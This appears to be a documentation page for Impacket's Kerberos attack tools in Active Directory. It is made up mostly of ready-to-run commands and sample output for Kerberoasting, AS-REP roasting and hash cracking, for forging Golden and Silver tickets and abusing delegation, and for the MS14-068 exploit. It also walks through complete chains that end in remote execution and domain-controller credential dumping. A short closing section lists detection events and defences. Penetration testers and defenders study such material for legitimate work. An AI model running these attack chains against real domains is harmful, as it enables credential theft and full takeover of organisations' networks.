Kerberos Attack Tools

Impacket provides comprehensive tools for attacking and manipulating Kerberos authentication in Active Directory environments.

Attack Overview

Kerberoasting

Request service tickets for offline password cracking

AS-REP Roasting

Extract hashes from accounts without pre-authentication

Ticket Manipulation

Forge Golden/Silver tickets and convert formats

Delegation Attacks

Exploit unconstrained and constrained delegation

GetUserSPNs.py (Kerberoasting)

Finds user accounts with Service Principal Names (SPNs) and requests TGS tickets for offline cracking.

Basic Usage

Enumerate SPNs
Request TGS
Save Tickets

# List all user accounts with SPNs
GetUserSPNs.py DOMAIN/user:password@DC_IP

# With NTLM hash
GetUserSPNs.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Kerberos authentication
GetUserSPNs.py DOMAIN/user@DC -k -no-pass -dc-ip DC_IP

# Request TGS tickets and output hashes
GetUserSPNs.py DOMAIN/user:password@DC -request

# Save to file for cracking
GetUserSPNs.py DOMAIN/user:pass@DC -request -outputfile kerberoast.txt

# Request for specific user
GetUserSPNs.py DOMAIN/user:pass@DC -request-user serviceaccount

# Request and save tickets in .ccache format
GetUserSPNs.py DOMAIN/user:pass@DC -request -save

# This creates files like:
# serviceaccount.ccache
# mssql-svc.ccache

Advanced Options

Filtering & Targeting

# Target specific user
GetUserSPNs.py domain/user:pass@dc -request-user sql_service

# From file of usernames
GetUserSPNs.py domain/user:pass@dc -usersfile users.txt -request

# Stealth mode (no TGS requests, just enumerate)
GetUserSPNs.py domain/user:pass@dc -stealth

Machine Accounts

# Only show machine accounts with SPNs
GetUserSPNs.py domain/user:pass@dc -machine-only

# Request TGS for machine accounts
GetUserSPNs.py domain/user:pass@dc -request-machine

Cross-Domain

# Specify target domain (cross-domain kerberoasting)
GetUserSPNs.py user:pass@dc -target-domain TARGET.DOMAIN.COM

# With DC hostname
GetUserSPNs.py user:pass -dc-host DC.TARGET.COM -dc-ip 10.0.0.1

Example Output

$ GetUserSPNs.py CORP/jdoe:P@ssw0rd@10.0.0.1
Impacket v0.12.0 - Copyright 2023 Fortra

ServicePrincipalName              Name        MemberOf                                    PasswordLastSet             LastLogon  Delegation
--------------------------------  ----------  ------------------------------------------  --------------------------  ---------  ----------
MSSQLSvc/sql01.corp.local:1433    sql_svc     CN=Domain Admins,CN=Users,DC=corp,DC=local  2023-01-15 10:30:22.123456  <never>               
HTTP/web01.corp.local             iis_svc     CN=WebAdmins,CN=Users,DC=corp,DC=local      2023-03-20 14:15:00.654321  <never>               

$ GetUserSPNs.py CORP/jdoe:P@ssw0rd@10.0.0.1 -request
Impacket v0.12.0 - Copyright 2023 Fortra

$krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local~1433*$a1b2c3d4e5f6...
$krb5tgs$23$*iis_svc$CORP.LOCAL$HTTP/web01.corp.local*$f6e5d4c3b2a1...

$ GetUserSPNs.py CORP/jdoe:pass@10.0.0.1 -request -format hashcat
$krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local~1433*$hash...

Cracking Kerberoast Hashes

John the Ripper
Hashcat
Usage

# Crack with wordlist
john --wordlist=rockyou.txt kerberoast.txt

# With rules
john --wordlist=wordlist.txt --rules kerberoast.txt

# Show cracked passwords
john --show kerberoast.txt

# Kerberos TGS-REP (Type 23)
hashcat -m 13100 kerberoast.txt rockyou.txt

# With rules
hashcat -m 13100 kerberoast.txt wordlist.txt -r best64.rule

# AES256 tickets (Type 18)
hashcat -m 19700 kerberoast_aes.txt wordlist.txt

# After cracking, use the password
psexec.py CORP/sql_svc:CrackedPassword@target

# Or get hash and pass-the-hash
python3 -c "import hashlib; print(hashlib.new('md4', 'CrackedPassword'.encode('utf-16le')).hexdigest())"
psexec.py CORP/sql_svc@target -hashes :NTHASH

GetNPUsers.py (AS-REP Roasting)

Extracts crackable hashes from accounts with “Do not require Kerberos preauthentication” enabled.

Basic Usage

Authenticated
Unauthenticated
Output Formats

# Enumerate and request AS-REP for vulnerable users
GetNPUsers.py DOMAIN/user:password@DC_IP

# With NTLM hash
GetNPUsers.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Request and save to file
GetNPUsers.py DOMAIN/user:pass@DC -request -outputfile asrep.txt

# No credentials needed if you have a username list
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# This works because AS-REP roasting doesn't require authentication!
GetNPUsers.py DOMAIN/ -usersfile usernames.txt -dc-ip 10.0.0.1

# John the Ripper format (default)
GetNPUsers.py domain/user:pass@dc -request -format john

# Hashcat format
GetNPUsers.py domain/user:pass@dc -request -format hashcat

# Save to file
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC -outputfile hashes.txt

Example Output

$ GetNPUsers.py CORP/ -usersfile users.txt -dc-ip 10.0.0.1
Impacket v0.12.0 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jdoe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$vulnerable_user@CORP.LOCAL:a1b2c3d4e5f6789012345678901234$abcdef...
[-] User service_account doesn't have UF_DONT_REQUIRE_PREAUTH set

Cracking AS-REP Hashes

John the Ripper
Hashcat

john --wordlist=rockyou.txt asrep.txt
john --show asrep.txt

# AS-REP Type 23 (RC4)
hashcat -m 18200 asrep.txt rockyou.txt

# AS-REP Type 17/18 (AES)
hashcat -m 19600 asrep_aes.txt wordlist.txt

Ticket Manipulation Tools

getTGT.py

Request Ticket Granting Tickets (TGT) with credentials.

# Get TGT with password
getTGT.py DOMAIN/user:password -dc-ip DC_IP

# With NTLM hash
getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP

# With AES key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Output saved as user.ccache
export KRB5CCNAME=user.ccache
psexec.py DOMAIN/user@target -k -no-pass

getST.py

Request Service Tickets (TGS) for specific services.

Basic TGS Request
Impersonation (S4U2Self)
Delegation Attacks

# Request service ticket
getST.py DOMAIN/user:password -spn cifs/target.domain.local -dc-ip DC_IP

# With TGT
export KRB5CCNAME=user.ccache
getST.py DOMAIN/user -spn cifs/target.domain.local -k -no-pass

# Impersonate another user (requires delegation rights)
getST.py DOMAIN/serviceaccount:password -spn cifs/target.domain.local \
  -impersonate Administrator -dc-ip DC_IP

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py DOMAIN/Administrator@target -k -no-pass

# S4U2Proxy attack (constrained delegation)
getST.py DOMAIN/service:pass -spn cifs/target.domain.local \
  -impersonate Administrator -dc-ip DC_IP

# Additional service ticket
getST.py DOMAIN/service:pass -spn http/target.domain.local \
  -additional-ticket cifs.ccache -dc-ip DC_IP

ticketer.py

Forge Kerberos tickets (Golden Ticket, Silver Ticket).

Golden Ticket
Silver Ticket
Advanced Options

# Create Golden Ticket (requires krbtgt hash from secretsdump)
ticketer.py -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-... \
  -domain DOMAIN.LOCAL Administrator

# With AES key (better)
ticketer.py -aesKey AES256_KEY -domain-sid S-1-5-21-... \
  -domain DOMAIN.LOCAL Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py DOMAIN/Administrator@dc.domain.local -k -no-pass

# Create Silver Ticket (requires service account hash)
ticketer.py -nthash SERVICE_NTHASH -domain-sid S-1-5-21-... \
  -domain DOMAIN.LOCAL -spn cifs/target.domain.local Administrator

# Use for specific service
export KRB5CCNAME=Administrator.ccache
smbclient.py DOMAIN/Administrator@target.domain.local -k -no-pass

# Custom user ID and groups
ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN \
  -user-id 500 -groups 512,513,518,519,520 Administrator

# Extra SIDs (SID History injection)
ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN \
  -extra-sid S-1-5-21-...-519 Administrator

# Custom duration
ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN \
  -duration 3650 Administrator  # 10 years

ticketConverter.py

Convert tickets between .ccache and .kirbi formats.

# Kirbi to CCache (Mimikatz to Impacket)
ticketConverter.py ticket.kirbi ticket.ccache

# CCache to Kirbi (Impacket to Mimikatz)
ticketConverter.py ticket.ccache ticket.kirbi

# Use converted ticket
export KRB5CCNAME=ticket.ccache
psexec.py DOMAIN/user@target -k -no-pass

describeTicket.py

Analyze and display ticket contents.

# Describe ccache ticket
describeTicket.py ticket.ccache

# Describe kirbi ticket
describeTicket.py ticket.kirbi

Delegation Attack Tools

findDelegation.py

Find accounts with delegation configured.

# Find all delegation configurations
findDelegation.py DOMAIN/user:password@DC_IP

# Output shows:
# - Unconstrained delegation
# - Constrained delegation
# - Resource-based constrained delegation (RBCD)

rbcd.py

Manage Resource-Based Constrained Delegation (RBCD).

Read RBCD
Write RBCD
Remove RBCD

# Read current RBCD configuration
rbcd.py DOMAIN/user:password@DC -delegate-to TARGET$ -action read

# Configure RBCD (allow ATTACKER$ to impersonate to TARGET$)
rbcd.py DOMAIN/user:password@DC -delegate-from ATTACKER$ \
  -delegate-to TARGET$ -action write

# Then impersonate with getST.py
getST.py DOMAIN/ATTACKER$ -spn cifs/TARGET.domain.local \
  -impersonate Administrator -hashes :ATTACKER_HASH

# Remove RBCD configuration
rbcd.py DOMAIN/user:password@DC -delegate-from ATTACKER$ \
  -delegate-to TARGET$ -action remove

addcomputer.py

Add computer accounts to the domain (for RBCD attacks).

# Add computer account
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ \
  -computer-pass P@ssw0rd123!

# Delete computer account
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ -delete

# Use LDAPS method
addcomputer.py DOMAIN/user:password@DC -computer-name ATTACKER$ \
  -computer-pass P@ssw0rd -method LDAPS

Advanced Kerberos Attacks

goldenPac.py

Exploit MS14-068 Kerberos vulnerability.

# Exploit MS14-068 (patched systems)
goldenPac.py DOMAIN/user:password@target

# With hash
goldenPac.py DOMAIN/user@target -hashes LMHASH:NTHASH

raiseChild.py

Automate child-to-parent domain privilege escalation.

# Escalate from child to parent domain
raiseChild.py CHILD.PARENT.LOCAL/Administrator:password@DC_IP

# With hash
raiseChild.py CHILD.PARENT.LOCAL/Administrator@DC -hashes :NTHASH

getPac.py

Retrieve and decrypt Privilege Attribute Certificate (PAC).

# Get PAC information
getPac.py DOMAIN/user:password@target -target-user Administrator

Complete Attack Chain Examples

Kerberoasting Chain
RBCD Attack Chain
Golden Ticket Chain

# 1. Enumerate SPNs
GetUserSPNs.py CORP/user:pass@10.0.0.1

# 2. Request TGS tickets
GetUserSPNs.py CORP/user:pass@10.0.0.1 -request -outputfile hashes.txt

# 3. Crack hashes
hashcat -m 13100 hashes.txt rockyou.txt

# 4. Use cracked password
psexec.py CORP/sql_svc:CrackedPass123@sql-server.corp.local

# 1. Add computer account (requires write permissions)
addcomputer.py CORP/user:pass@dc -computer-name EVIL$ -computer-pass P@ss

# 2. Configure RBCD on target
rbcd.py CORP/user:pass@dc -delegate-from EVIL$ -delegate-to TARGET$ -action write

# 3. Request TGT for our computer
getTGT.py CORP/EVIL$:P@ss -dc-ip 10.0.0.1

# 4. Impersonate Administrator
export KRB5CCNAME=EVIL\$.ccache
getST.py CORP/EVIL$ -spn cifs/TARGET.corp.local -impersonate Administrator -k -no-pass

# 5. Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py CORP/Administrator@TARGET.corp.local -k -no-pass

# 1. Dump krbtgt hash (requires DA or DC compromise)
secretsdump.py CORP/DA:pass@dc -just-dc-user krbtgt

# 2. Get domain SID
# From secretsdump output or:
lookupsid.py CORP/user:pass@dc

# 3. Create Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... \
  -domain CORP.LOCAL FakeAdmin

# 4. Use ticket for any system in domain
export KRB5CCNAME=FakeAdmin.ccache
psexec.py CORP/FakeAdmin@dc.corp.local -k -no-pass
secretsdump.py CORP/FakeAdmin@dc.corp.local -k -no-pass -just-dc

Detection & Defense

Kerberos attacks are often detected by modern security tools. Understanding detection mechanisms is crucial.

Detection Indicators

Kerberoasting

Event ID 4769: TGS requests for user accounts (unusual encryption type RC4)
Event ID 4768: TGT requests from unusual locations
High volume of TGS requests
TGS requests for dormant accounts

AS-REP Roasting

Event ID 4768: AS-REQ without pre-authentication
Multiple AS-REQ failures from single source
Unusual user account queries

Golden/Silver Tickets

Tickets with unusual lifetime (10+ years)
Tickets created outside normal KDC
Event ID 4624: Logons with tickets showing anomalies
Tickets with missing or invalid PAC validation info

Delegation Attacks

Event ID 4662: Changes to msDS-AllowedToActOnBehalfOfOtherIdentity
Event ID 4741/4742: Computer account creation/modification
Unusual S4U2Self/S4U2Proxy requests

Defensive Measures

Use strong, long passwords for service accounts (25+ characters)
Enable AES encryption for Kerberos (disable RC4)
Monitor for accounts with “Do not require preauth” flag
Implement Service Account password rotation
Use Group Managed Service Accounts (gMSA)
Enable PAC validation
Monitor delegation configurations
Restrict SPN registration permissions

Next Steps

Credential Dumping

Extract credentials for Kerberos attacks

LDAP Operations

Enumerate delegation and SPNs via LDAP

Remote Execution

Use Kerberos tickets for remote execution

​Attack Overview

Kerberoasting

AS-REP Roasting

Ticket Manipulation

Delegation Attacks

​GetUserSPNs.py (Kerberoasting)

​Basic Usage

​Advanced Options

​Example Output

​Cracking Kerberoast Hashes

​GetNPUsers.py (AS-REP Roasting)

​Basic Usage

​Example Output

​Cracking AS-REP Hashes

​Ticket Manipulation Tools

​getTGT.py

​getST.py

​ticketer.py

​ticketConverter.py

​describeTicket.py

​Delegation Attack Tools

​findDelegation.py

​rbcd.py

​addcomputer.py

​Advanced Kerberos Attacks

​goldenPac.py

​raiseChild.py

​getPac.py

​Complete Attack Chain Examples

​Detection & Defense

​Detection Indicators

​Defensive Measures

​Next Steps

Credential Dumping

LDAP Operations

Remote Execution

Attack Overview

GetUserSPNs.py (Kerberoasting)

Basic Usage

Advanced Options

Example Output

Cracking Kerberoast Hashes

GetNPUsers.py (AS-REP Roasting)

Basic Usage

Example Output

Cracking AS-REP Hashes

Ticket Manipulation Tools

getTGT.py

getST.py

ticketer.py

ticketConverter.py

describeTicket.py

Delegation Attack Tools

findDelegation.py

rbcd.py

addcomputer.py

Advanced Kerberos Attacks

goldenPac.py

raiseChild.py

getPac.py

Complete Attack Chain Examples

Detection & Defense

Detection Indicators

Defensive Measures

Next Steps